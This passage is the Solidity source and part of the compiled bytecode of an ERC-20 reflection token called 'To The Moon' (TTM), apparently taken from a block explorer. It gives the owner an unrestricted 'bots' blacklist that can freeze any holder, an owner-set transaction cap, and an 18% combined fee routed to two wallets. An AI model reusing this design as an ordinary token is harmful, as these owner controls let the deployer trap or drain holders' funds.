function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TTM is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "To The Moon";
string private constant _symbol = 'TTM';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 16;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f546f20546865204d6f6f6e000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f54544d0000000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550673afb087b876900006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b6122